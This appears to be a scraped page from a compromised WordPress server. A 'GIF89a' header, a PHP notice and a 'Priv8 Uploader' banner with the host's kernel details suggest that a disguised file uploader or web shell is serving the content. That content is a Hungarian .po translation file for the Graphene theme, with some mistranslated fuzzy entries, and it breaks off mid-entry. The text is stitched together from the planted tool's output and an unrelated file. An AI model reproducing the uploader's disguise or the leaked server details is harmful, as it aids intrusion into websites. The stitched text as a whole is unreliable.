GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
msgid "" msgstr "" "Project-Id-Version: Graphene 1.3 theme for WordPress\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2012-01-21 21:34+1200\n" "PO-Revision-Date: \n" "Last-Translator: Syahir Hakim <syahir@khairul-syahir.com>\n" "Language-Team: Major Gábor <major.gabesz@gmail.com>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: \n" "X-Poedit-Language: Hungarian\n" "X-Poedit-Country: HUNGARY\n" "X-Poedit-SourceCharset: utf-8\n" #: 404.php:25 #, php-format msgid "Searching for: <span>%s</span>" msgstr "Keresés <span>%s</span> értékre" #: 404.php:31 msgid "Error 404 - Page Not Found" msgstr "Error 404 - Az oldal nem található" #: 404.php:33 msgid "Sorry, I've looked everywhere but I can't find the page you're looking for." msgstr "Elnézést, de nem találom a keresett oldalt." #: 404.php:34 msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:" msgstr "Ha külső oldalról lett ide irányítva, akkor elképzelhető, hogy az oldalt töröltük vagy áthelyeztük. Próbálja meg megkeresni:" #: 404.php:42 msgid "Automated search" msgstr "Automatikus keresés" #: 404.php:45 #, php-format msgid "Searching for the terms <strong>%s</strong> ..." msgstr "Keresés a(z) <strong>%s</strong> érték alapján ..." #: archive.php:24 #, fuzzy, php-format msgid "Daily Archive: %s" msgstr "Napi archívum: <span>%s</span>" #: archive.php:26 #, fuzzy, php-format msgid "Monthly Archive: %s" msgstr "Havi archívum: <span>%s</span>" #. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008". #: archive.php:28 msgid "F Y" msgstr "Y. F" #: archive.php:30 #, fuzzy, php-format msgid "Yearly Archive: %s" msgstr "Éves archívum: <span>%s</span>" #: archive.php:40 #, fuzzy, php-format msgid "%1$s Archive: <span>%2$s</span>" msgstr "Cimke archívum: <span>%s</span>" #: archive.php:43 msgid "Blog Archive" msgstr "Blog Archívum" #: author.php:32 msgid "Author's posts listings" msgstr "Szerzó bejegyzéseinek listázása" #: category.php:13 #, php-format msgid "Category Archive: <span>%s</span>" msgstr "Kategóriák archívuma: <span>%s</span>" #: comments.php:25 msgid "This post is password protected. Enter the password to view any comments." msgstr "A bejegyzés jelszóval védett. Adja meg a helyes jelszót a továbbolvasáshoz." #: comments.php:49 #: loop-author.php:85 #: loop.php:166 #, fuzzy, php-format msgid "1 comment" msgid_plural "%d comments" msgstr[0] "1 hozzászólás" msgstr[1] "1 hozzászólás" #: comments.php:51 #, fuzzy, php-format msgid "1 ping" msgid_plural "%d pings" msgstr[0] "1 visszakövetés" msgstr[1] "1 visszakövetés" #: comments.php:109 msgid "Comments have been disabled." msgstr "Nem lehet hozzászólni." #: comments.php:126 #, php-format msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "A hozzászólás szövegében az alábbi <abbr title=\"HyperText Markup Language\">HTML</abbr> kódok használhatók: %s" #: comments.php:131 msgid "Your email address will not be published." msgstr "Az email címet nem hozzuk nyilvánosságra." #: comments.php:134 msgid "Submit Comment" msgstr "Hozzászólás elküldése" #: footer.php:41 msgid "Copyright" msgstr "" #. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text. #: footer.php:56 #, fuzzy, php-format msgid "Except where otherwise noted, content on this site is licensed under a %s." msgstr "Ha másképp nincs jelölve, akkor a a honlap tartalma a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licensz</a> hatálya alatt áll." #: footer.php:56 #, fuzzy msgid "Creative Commons Licence" msgstr "Mutasd a Creative Commons logót" #: footer.php:58 msgid "Creative Commons Licence BY-NC-ND" msgstr "" #: footer.php:79 msgid "Return to top" msgstr "" #. translators: %1$s is the link to WordPress.org, %2$s is the theme's name #: footer.php:89 #, fuzzy, php-format msgid "Powered by %1$s and the %2$s." msgstr "Működteti a" #: footer.php:89 #, fuzzy msgid "Graphene Theme" msgstr "Graphene sablonbeállítások" #: header.php:36 #, php-format msgid "Subscribe to %s's RSS feed" msgstr "Feliratkozás az %s RSS csatornára" #: header.php:36 msgid "Subscribe to RSS feed" msgstr "Feliratkozás az RSS csatornára" #: header.php:82 #: header.php:102 msgid "Go back to the front page" msgstr "Vissza a kezdőoldalra" #: loop-author.php:23 msgid "Author's details" msgstr "A szerző adatai" #. translators: %1$s is the first name, %2$s is the last name #: loop-author.php:25 #, php-format msgid "<strong>Name:</strong> %1$s %2$s" msgstr "<strong>Név:</strong> %1$s %2$s" #: loop-author.php:26 #, php-format msgid "<strong>Date registered:</strong> %1$s" msgstr "<strong>Regisztráció dátuma:</strong> %1$s" #: loop-author.php:35 msgid "Biography" msgstr "Bemutatkozás" #: loop-author.php:52 msgid "Latest posts" msgstr "Utolsó bejegyzései" #: loop-author.php:55 #: loop-author.php:85 #, php-format msgid "Permalink Link to %s" msgstr "%s megjelenítése" #: loop-author.php:55 #: loop-author.php:85 #: loop-children.php:45 #: loop-page.php:8 #: loop-page.php:35 #: loop-post-formats.php:36 #: loop-single.php:67 #: loop.php:31 #: loop.php:66 msgid "(No title)" msgstr "(Nincs cím)" #: loop-author.php:92 msgid "Most commented posts" msgstr "Legtöbb hozzászólást kapott bejegyzés(ek)" #: loop-children.php:45 #: loop-children.php:53 #: loop-post-formats.php:36 #: loop.php:65 #: loop.php:134 #, php-format msgid "Permalink to %s" msgstr "%s megjelenítése" #: loop-children.php:53 msgid "View page »" msgstr "Oldal megtekintése »" #: loop-not-found.php:3 msgid "Not found" msgstr "Nem található" #: loop-not-found.php:8 msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?" msgstr "Elnézést, de a keresett kifejezés nem található. Megpróbálja megkeresni?" #: loop-not-found.php:10 msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?" msgstr "Elnézést, de a keresett szó alapján nem találtam semmit. Megpróbálja egy másik szóval a keresést?" #: loop-page.php:23 #: loop-page.php:24 #, fuzzy, php-format msgid "Print this %s" msgstr "Oldal nyomtatása" #: loop-page.php:45 #: loop-single.php:83 #: loop.php:85 #, fuzzy, php-format msgid "Edit %s" msgstr "Szerkesztés" #: loop-page.php:66 #: loop-single.php:122 #: loop.php:148 #, fuzzy msgid "Pages:" msgstr "Cimkék:" #: loop-page.php:90 #: loop-post-formats.php:89 #: loop-single.php:172 #: loop.php:179 msgid "Permanent link to this article:" msgstr "Link a következőhöz:" #: loop-post-formats.php:15 msgid "Status update" msgstr "" #: loop-post-formats.php:16 msgid "Audio" msgstr "" #: loop-post-formats.php:17 msgid "Image" msgstr "" #: loop-post-formats.php:18 msgid "Video" msgstr "" #: loop-post-formats.php:19 msgid "Post format" msgstr "" #. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:32 msgid "l F j, Y" msgstr "" #: loop-post-formats.php:32 msgid "g:i A" msgstr "" #: loop-post-formats.php:42 msgid "Edit post" msgstr "Szerkesztés" #. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:77 #, fuzzy, php-format msgid "Posted on: %s" msgstr "Működteti a" #: loop-post-formats.php:77 #, fuzzy msgid "F j, Y" msgstr "Y. F" #: loop-single.php:76 #: loop.php:78 msgid "Categories:" msgstr "Kategóriák:" #: loop-single.php:98 #: loop.php:102 #, php-format msgid "by %s" msgstr "" #: loop-single.php:132 #: loop.php:158 msgid "Tags:" msgstr "Cimkék:" #: loop-single.php:132 #: loop.php:158 msgid "This post has no tag" msgstr "Nincsenek cimkék" #: loop-single.php:153 msgid "About the author" msgstr "A szerzőről" #: loop.php:127 msgid "Read the rest of this entry »" msgstr "Tovább a teljes bejegyzéshez »" #: loop.php:166 msgid "Leave comment" msgstr "Szóljon hozzá" #: loop.php:166 #, fuzzy msgid "Comments off" msgstr "Hozzászólás RSS" #: search-404.php:14 msgid "Suggested results" msgstr "Ajánlott találatok" #. translators: %s is the search term #: search-404.php:18 #, php-format msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:" msgstr "A keresés a %s kifejezésre az alábbi találatokat eredményezte:" #: search-404.php:35 msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above." msgstr "<strong>Elézést, de nem találtam semmit.</strong> Próbáljon meg mást keresni a keresőmezőben." #: search.php:10 #, fuzzy, php-format msgid "Search results for: %s" msgstr "keresés eredménye: <span>%s</span>" #: searchform.php:3 #: searchform.php:4 msgid "Search" msgstr "Keresés" #: sidebar-two.php:35 #: sidebar.php:41 msgid "Meta" msgstr "Meta" #: sidebar-two.php:40 #: sidebar.php:46 msgid "Posts RSS" msgstr "Bejegyzés RSS" #: sidebar-two.php:41 #: sidebar.php:47 msgid "Comments RSS" msgstr "Hozzászólás RSS" #. translators: %s is the link to wordpress.org #: sidebar-two.php:43 #: sidebar.php:49 #, php-format msgid "Powered by %s" msgstr "Működteti a" #: sidebar-two.php:43 #: sidebar.php:49 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Powered by WordPress, state-of-the-art semantic personal publishing platform." #: sidebar-two.php:48 #: sidebar.php:34 msgid "Archives" msgstr "Archívum" #: tag.php:13 #, php-format msgid "Tag Archive: <span>%s</span>" msgstr "Cimke archívum: <span>%s</span>" #: admin/custom-fields.php:14 msgid "Graphene post-specific options" msgstr "Graphene bejegyzés-specifikus beállításai" #: admin/custom-fields.php:15 msgid "Graphene page-specific options" msgstr "Graphene bejegyzés-specifikus beállításai" #: admin/custom-fields.php:97 msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page." msgstr "A beállítások ehhez a bejegyzéshez vagy oldalhoz használhatók. A Graphene sablon előre beállított értékeit felülírja." #: admin/custom-fields.php:98 msgid "Slider options" msgstr "Tallózó beállításai" #: admin/custom-fields.php:102 msgid "Slider image" msgstr "Tallózó képe" #: admin/custom-fields.php:106 #: admin/custom-fields.php:132 #: admin/custom-fields.php:146 msgid "Use global setting" msgstr "Általános beállítások használata" #: admin/custom-fields.php:107 msgid "Don't show image" msgstr "Ne mutasson képet" #: admin/custom-fields.php:108 msgid "Featured Image" msgstr "Tartalom kiemelt képe" #: admin/custom-fields.php:109 msgid "First image in post" msgstr "Bejegyzés első képe" #: admin/custom-fields.php:110 msgid "Custom URL" msgstr "Egyéni URL" #: admin/custom-fields.php:116 msgid "Custom slider image URL" msgstr "Egyéni URL a Tallózó képéhez" #: admin/custom-fields.php:120 msgid "Make sure you select Custom URL in the slider image option above to use this custom url." msgstr "Legyen bekapcsolva az Egyéni URL, ha használni szeretnéd ezt a lehetőséget." #: admin/custom-fields.php:124 msgid "Display options" msgstr "Kinézet beállításai" #: admin/custom-fields.php:128 msgid "AddThis Social Sharing button" msgstr "AddThis közösségi megosztás gombja" #: admin/custom-fields.php:133 msgid "Show button" msgstr "Mutat" #: admin/custom-fields.php:134 msgid "Hide button" msgstr "Rejt" #: admin/custom-fields.php:142 msgid "Post date display" msgstr "Dátum megjelenése" #: admin/custom-fields.php:147 #, fuzzy msgid "Hide date" msgstr "Rejtett" #: admin/custom-fields.php:155 #, fuzzy msgid "Navigation options" msgstr "Favicon beállításai" #: admin/custom-fields.php:159 #, fuzzy msgid "Description" msgstr "Bemutatkozó szöveg betütípusa" #: admin/custom-fields.php:163 msgid "Only required if you need a description in the navigation menu and you are not using a custom menu." msgstr "" #: admin/faq.php:11 msgid "Graphene's Frequently Asked Questions" msgstr "Graphene Gyakran Ismételt Kérdések" #: admin/faq.php:14 msgid "Where should I go for the theme's support?" msgstr "Hol találok támogatást a sablonhoz?" #: admin/faq.php:15 #, fuzzy msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>." msgstr "Minden kérdéssel a készítő <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Support Forum</a> oldalát keresd fel." #: admin/faq.php:18 msgid "The post's featured image is replacing my header image. Help!" msgstr "A bejegyzés kiemelt képe lett a fejrész képe. Mi történt? Segíts!" #: admin/faq.php:19 #, fuzzy msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages." msgstr "Ez egy beállítása a sablonnak, ami a WordPress alap sablonjának, a TwentyTen-nek az alapján készült. Minden kiemelt kép - amit beállítottál a bejegyzésben/oldalon -, megjelenik a fejrész kép helyett, ha megegyezik, vagy nagyobb a mérete (900 x 198 pixel) a beállítottnál. Ezzel lehet elérni, hogy egyedi fejrész képek jelenjenek meg a különböző bejegyzéseknél vagy oldalakon." #: admin/faq.php:20 #, fuzzy msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options." msgstr "Ha nem akarod ezt a lehetőséget használni, vedd ki a jelölést a <em>Cserélje le a bejegyzés képére a fejrész képét</em> pontnál, amit a <a href=\"themes.php?page=graphene_options&tab=display\">Graphene sablonbeállítások</a> oldalon, a Kinézet > Fejrész Kinézetének beállításai menüben találsz.." #: admin/faq.php:23 msgid "Can I modify Graphene to my heart's content without paying anything?" msgstr "Módosíthatom úgy a Graphene sablont, hogy fizetnék érte?" #: admin/faq.php:24 msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2." msgstr "Mint minden WordPress sablon, a Graphene is megtalálható a a Worpdress.org hivatalos sablon tárolóban, és vonatkozik rá a GNU General Public License (GPL) Version 2 jogi nyilatkozat. A sablon csomagjában megtalálod a <code>licence.txt</code> fájlt, ahol elolvashatod a teljes jogi nyilatkozatot. Kérdésedre válaszolva, bármilyen változtatást úgy tudsz végrehajtani, ha figyelembe veszed azt, hogy <em>szabadon módosíthatod a sablont bárhogyan is használod (beleértve a kereskedelmi felhasználást is)</em> és a készítő felé nincs pénzbeli kötelezettséged. Ha változtatsz a sablonon, tovább kell vinned a GPLv2 licenszet." #: admin/faq.php:25 msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme." msgstr "Persze lehetőséged van támogatni a fejlesztőt a <a href=\"themes.php?page=graphene_options\">Fejlesztő támogatása</a> részben megadott lehetőségekkel, hogy a további fejlesztéseket el tudja végezni." #: admin/faq.php:28 msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?" msgstr "Ha a sablon a GPLv2 licensz alatt áll, mi ez a Creative Commons licensz a lábrészben?" #: admin/faq.php:29 msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it." msgstr "A Creative Commons licensz összefoglalja a napjainkban kiadott webes tartalom készítőire vonatkozó jogi nyilatkozatot, mint például a szabad szellemi tulajdon és a szabad felhasználhatóság. Ezzel a licensszel tudod védeni egyszerűen az oldalad tartalmát, amit létrehoztál. De le is veheted ezt a \"védettséget\" az oldalról a a Graphene sablonbeállítások > Alapbeállítás > Lábrész beállításai menüpontban, ha nem akarod használni." #: admin/faq.php:30 msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it." msgstr "Ez a lehetőség <em>nem a sablon licenszének része</em>, csak a weboldalad tartalmának védelmét hivatott szolgálni." #: admin/faq.php:33 msgid "Is the theme compatible with this plugin or that plugin?" msgstr "Bármelyik kiegészítővel kompatibilis a sablon?" #: admin/faq.php:34 msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme." msgstr "Erre nehéz választ adni. Sok kiegészítő létezik a WordPress-hez, nem lehet a készítés és fejlesztés alatt minden kiegészítőt úgy tesztelni, hogy ezzel a sablonnal is megfelelően működjön. Indulj ki abból, hogy ez a sablon is úgy készült, hogy működjön minden WordPress kiegészítővel." #: admin/faq.php:35 msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support." msgstr "Javaslom, hogy a használni kívánt kiegészítőt töltsd le, kapcsold be az oldaladon és próbáld ki. Ha valamilyen problémát vagy hibát tapasztalsz, a kiegészítő fejlesztőjét keresd meg a kérdéseddel. Ha ő azt válaszolja, hogy a sablonnal van a probléma, tudod, hol tehetsz fel kérdéseket." #: admin/feature-pointers.php:8 msgid "Where are all the options?!" msgstr "" #: admin/feature-pointers.php:9 msgid "We've decided to clean things up!" msgstr "" #: admin/feature-pointers.php:10 msgid "We know how too many options can really be daunting to new users, so we've hidden them." msgstr "" #: admin/feature-pointers.php:11 msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you." msgstr "" #: admin/options-advanced.php:12 #: admin/options.php:350 msgid "Preview" msgstr "" #: admin/options-advanced.php:19 #, fuzzy msgid "Enable preview of your site on the Graphene Theme Options page" msgstr "Graphene beállítások kezdőoldalára" #: admin/options-advanced.php:31 #, fuzzy msgid "Action Hooks Widget Areas" msgstr "Lábrész Widget terület" #: admin/options-advanced.php:34 msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks." msgstr "" #: admin/options-advanced.php:35 msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook." msgstr "" #: admin/options-advanced.php:44 msgid "Click to show/hide the action hooks for this file" msgstr "" #: admin/options-advanced.php:56 msgid "Rescan action hooks" msgstr "" #: admin/options-display.php:13 msgid "Header Display Options" msgstr "Fejrész kinézetének beállításai" #: admin/options-display.php:19 msgid "Use light-coloured header bars" msgstr "Világos felső menüpontok használata" #: admin/options-display.php:25 msgid "Link header image to front page" msgstr "Fejrész képe a kezdőoldalra mutasson" #: admin/options-display.php:28 msgid "Check this if you disable the header texts and want the header image to be linked to the front page." msgstr "Jelöld be, ha azt szeretnéd, hogy a fejrész képe mutasson a kezdőoldalra és nem szeretnél szöveget használni." #: admin/options-display.php:33 msgid "Disable Featured Image replacing header image" msgstr "Tíltsa meg, hogy a fejrész képét a bejegyzés képére cserélje" #: admin/options-display.php:36 msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension." msgstr "Jelöld be, ha a bejegyzés képét nem akarod használni a fejrész képe helyett, függetlenül a bejegyzés képméretének beállításaitól." #: admin/options-display.php:41 msgid "Use random header image" msgstr "Véletlenszerű fejrészkép használata" #: admin/options-display.php:45 msgid "Check this to show a random header image (random image taken from the available default header images)." msgstr "Jelöld be, ha változó képeket szeretnél látni (a képek helye az alap fejrész képek könyvtára)." #: admin/options-display.php:46 msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined." msgstr "<strong>Figyelem:</strong> csak azokon az oldalakon használható, ahol nincs speciálisan beállítva kép." #: admin/options-display.php:52 msgid "Search box location" msgstr "Keresőmező helye" #: admin/options-display.php:56 msgid "Top bar" msgstr "Felső mező" #: admin/options-display.php:57 msgid "Navigation bar" msgstr "Navigációs mező" #: admin/options-display.php:58 #, fuzzy msgid "Disable search box" msgstr "Tallózó kikapcsolása" #: admin/options-display.php:71 msgid "Column Options" msgstr "Oszlop beállítások" #: admin/options-display.php:77 msgid "Column mode" msgstr "Oszlop módozatok" #: admin/options-display.php:86 #: admin/options-display.php:131 msgid "One column" msgstr "" #: admin/options-display.php:93 #: admin/options-display.php:138 msgid "Two columns (with sidebar right)" msgstr "" #: admin/options-display.php:97 #: admin/options-display.php:142 msgid "Two columns (with sidebar left)" msgstr "" #: admin/options-display.php:104 #: admin/options-display.php:149 msgid "Three columns (with two sidebars right)" msgstr "" #: admin/options-display.php:108 #: admin/options-display.php:153 msgid "Three columns (with two sidebars left)" msgstr "" #: admin/options-display.php:112 #: admin/options-display.php:157 msgid "Three columns (with sidebars left and right)" msgstr "" #: admin/options-display.php:122 #, fuzzy msgid "bbPress column mode" msgstr "Oszlop módozatok" #: admin/options-display.php:173 #, fuzzy msgid "Column Width Options" msgstr "Oszlop beállítások" #: admin/options-display.php:176 #, fuzzy msgid "Note: Leave values empty to reset to the default values." msgstr "Alapértékekhez hagyd üresen a mezőt." #: admin/options-display.php:180 msgid "Container width" msgstr "" #: admin/options-display.php:197 #: admin/options-display.php:220 #, fuzzy msgid "Column width" msgstr "Oszlop módozatok" #: admin/options-display.php:197 #, fuzzy msgid "two-column mode" msgstr "Oszlop módozatok" #: admin/options-display.php:201 #: admin/options-display.php:228 #, fuzzy msgid "Content" msgstr "Tartalom szövege" #: admin/options-display.php:205 #, fuzzy msgid "Sidebar" msgstr "Keresés" #: admin/options-display.php:220 #, fuzzy msgid "three-column mode" msgstr "Oszlop módozatok" #: admin/options-display.php:224 msgid "Left sidebar" msgstr "" #: admin/options-display.php:232 msgid "Right sidebar" msgstr "" #: admin/options-display.php:253 msgid "Posts Display Options" msgstr "Bejegyzés kinézetének beállításai" #: admin/options-display.php:259 msgid "Hide post author" msgstr "Szerző rejtése" #: admin/options-display.php:269 msgid "Hidden" msgstr "Rejtett" #: admin/options-display.php:270 msgid "As an icon (without the year)" msgstr "Ikonként (év nélkül)" #: admin/options-display.php:271 msgid "As an icon (including the year)" msgstr "Ikonként (évvel)" #: admin/options-display.php:272 msgid "As inline text" msgstr "Szövegként" #: admin/options-display.php:274 msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration." msgstr "Megjegyzés: dátum szövegként való megjelenítése területet vesz el a bejegyzésből. 3 mezős elrendezésnél érdemes használni." #: admin/options-display.php:279 msgid "Hide post categories" msgstr "Kategória rejtése" #: admin/options-display.php:285 msgid "Hide post tags" msgstr "Cimkék rejtése" #: admin/options-display.php:291 msgid "Hide post comment count" msgstr "hozzászólások számának rejtése" #: admin/options-display.php:292 msgid "Only affects posts listing (such as the front page) and not single post view." msgstr "Csak a bejegyzések felsorolásakor érvényes (pl.: Kezdőoldal), a bejegyzés teljes szövegénél látható lesz." #: admin/options-display.php:297 msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>" msgstr "" #: admin/options-display.php:301 msgid "Show post author's info" msgstr "Szerző adatainak mutatása" #: admin/options-display.php:313 msgid "Excerpts Display Options" msgstr "Összegzések kinézetének beállításai" #: admin/options-display.php:319 msgid "Show excerpts in front page" msgstr "Összefoglaló mutatása a kezdőoldalon" #: admin/options-display.php:325 msgid "Show full content in archive pages" msgstr "Archívumokban a teljes tartalom mutatása" #: admin/options-display.php:329 msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used." msgstr "Figyelem: Az archívumok kategória, cimke, idő vagy keresési értékek szerint vannak rendezve. Ha ezt szeretnéd használni, akkor az egész bejegyzést/oldalt fogja megjeleníteni az összegzés helyett, a továbbolvasási értéket kihagyja." #: admin/options-display.php:333 msgid "Show More link for manual excerpts" msgstr "Több link a összefoglalókhoz" #: admin/options-display.php:337 msgid "Retain these HTML tags in excerpts" msgstr "Tartsa meg az alábbi HTML értékeket az összefoglalásokban" #: admin/options-display.php:340 msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code><p><ul><li></code> to retain <code><p></code>, <code><ul></code>, and <code><li></code> HTML tags." msgstr "Add meg azokat a HTML értékeket, amiket meg akasz tartani az összefoglalásokban. Írd be például a <code><p><ul><li></code> kódot, hogy láthasd a <code><p></code>-t, <code><ul></code>, és <code><li></code> HTML értékeket." #: admin/options-display.php:353 msgid "Comments Display Options" msgstr "Hozzászólás megjelenésének beállításai" #: admin/options-display.php:359 msgid "Hide allowed tags in comment form" msgstr "Használható kódok eltüntetése" #: admin/options-display.php:372 #, fuzzy msgid "Colours Options" msgstr "Oszlop beállítások" #: admin/options-display.php:375 msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics." msgstr "" #: admin/options-display.php:376 #, php-format msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use." msgstr "" #: admin/options-display.php:377 #, fuzzy msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>." msgstr "Minden kérdéssel a készítő <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Support Forum</a> oldalát keresd fel." #: admin/options-display.php:378 msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome." msgstr "" #: admin/options-display.php:379 msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour." msgstr "" #: admin/options-display.php:380 #, fuzzy msgid "Content area" msgstr "Tartalom szövege" #: admin/options-display.php:384 msgid "Main content wrapper background" msgstr "" #: admin/options-display.php:385 msgid "Post and pages content background" msgstr "" #: admin/options-display.php:386 msgid "Post meta and footer border" msgstr "" #: admin/options-display.php:387 #, fuzzy msgid "Post and pages top border" msgstr "Bejegyzések és/vagy oldalak, amit mutasson" #: admin/options-display.php:388 #, fuzzy msgid "Post and pages bottom border" msgstr "Bejegyzések és/vagy oldalak, amit mutasson" #: admin/options-display.php:398 #: admin/options-display.php:428 #: admin/options-display.php:454 #: admin/options-display.php:481 #: admin/options-display.php:510 #: admin/options-display.php:646 #: admin/options-display.php:667 msgid "Clear" msgstr "" #: admin/options-display.php:405 msgid "Widgets" msgstr "" #: admin/options-display.php:408 #, fuzzy msgid "Widget preview" msgstr "Widget terület beállításai" #: admin/options-display.php:409 msgid "Widget title" msgstr "" #: admin/options-display.php:409 msgid "List item" msgstr "" #: admin/options-display.php:413 msgid "Widget item background" msgstr "" #: admin/options-display.php:414 msgid "Widget item list border" msgstr "" #: admin/options-display.php:415 msgid "Widget header border" msgstr "" #: admin/options-display.php:416 #, fuzzy msgid "Widget title colour" msgstr "Szín" #: admin/options-display.php:417 msgid "Widget title text shadow colour" msgstr "" #: admin/options-display.php:418 msgid "Widget header gradient bottom colour" msgstr "" #: admin/options-display.php:419 msgid "Widget header gradient top colour" msgstr "" #: admin/options-display.php:436 #, fuzzy msgid "Slider" msgstr "Tallózó képe" #: admin/options-display.php:439 msgid "Slider background preview" msgstr "" #: admin/options-display.php:444 #, fuzzy msgid "Slider top left colour" msgstr "Tallózó beállításai" #: admin/options-display.php:445 msgid "Slider bottom right colour" msgstr "" #: admin/options-display.php:462 #, fuzzy msgid "Block buttons" msgstr "Mutat" #: admin/options-display.php:465 msgid "Block button preview" msgstr "" #: admin/options-display.php:466 msgid "Button label" msgstr "" #: admin/options-display.php:470 msgid "Button background colour" msgstr "" #: admin/options-display.php:471 msgid "Button label colour" msgstr "" #: admin/options-display.php:472 msgid "Button label text shadow" msgstr "" #: admin/options-display.php:489 #, fuzzy msgid "Archive title" msgstr "Archívum" #: admin/options-display.php:492 msgid "Archive title preview" msgstr "" #: admin/options-display.php:493 #, fuzzy msgid "Archive title:" msgstr "Archívum" #: admin/options-display.php:493 msgid "Sample title" msgstr "" #: admin/options-display.php:497 msgid "Archive background gradient left colour" msgstr "" #: admin/options-display.php:498 msgid "Archive background gradient right colour" msgstr "" #: admin/options-display.php:499 msgid "Archive label colour" msgstr "" #: admin/options-display.php:500 #, fuzzy msgid "Archive text colour" msgstr "Szín" #: admin/options-display.php:501 msgid "Archive label and text shadow colour" msgstr "" #: admin/options-display.php:525 msgid "Text Style Options" msgstr "Szöveg stílusának beállításai" #: admin/options-display.php:528 msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used." msgstr "Itt CSS szabályokat lehet használni, minden érvényes CSS érték használható." #: admin/options-display.php:529 msgid "Some example CSS properties values:" msgstr "Néhány példa CSS érték:" #: admin/options-display.php:532 msgid "Text font:" msgstr "Szöveg betütípusa:" #: admin/options-display.php:536 msgid "Text size and line height:" msgstr "Szöveg és sor magassága:" #: admin/options-display.php:540 msgid "Text weight:" msgstr "Szöveg szélessége:" #: admin/options-display.php:544 msgid "Text style:" msgstr "Szöveg stílusa:" #: admin/options-display.php:548 msgid "Text colour:" msgstr "Szöveg szine:" #: admin/options-display.php:553 msgid "Header Text" msgstr "Fejrész szövege" #: admin/options-display.php:557 msgid "Title text font" msgstr "Cím betütípusa" #: admin/options-display.php:563 msgid "Title text size" msgstr "Betüméret" #: admin/options-display.php:569 msgid "Title text weight" msgstr "Szélesség" #: admin/options-display.php:575 msgid "Title text line height" msgstr "Sormagassága" #: admin/options-display.php:581 msgid "Title text style" msgstr "Stílusa" #: admin/options-display.php:590 msgid "Description text font" msgstr "Bemutatkozó szöveg betütípusa" #: admin/options-display.php:596 msgid "Description text size" msgstr "Bemutatkozó szöveg mérete" #: 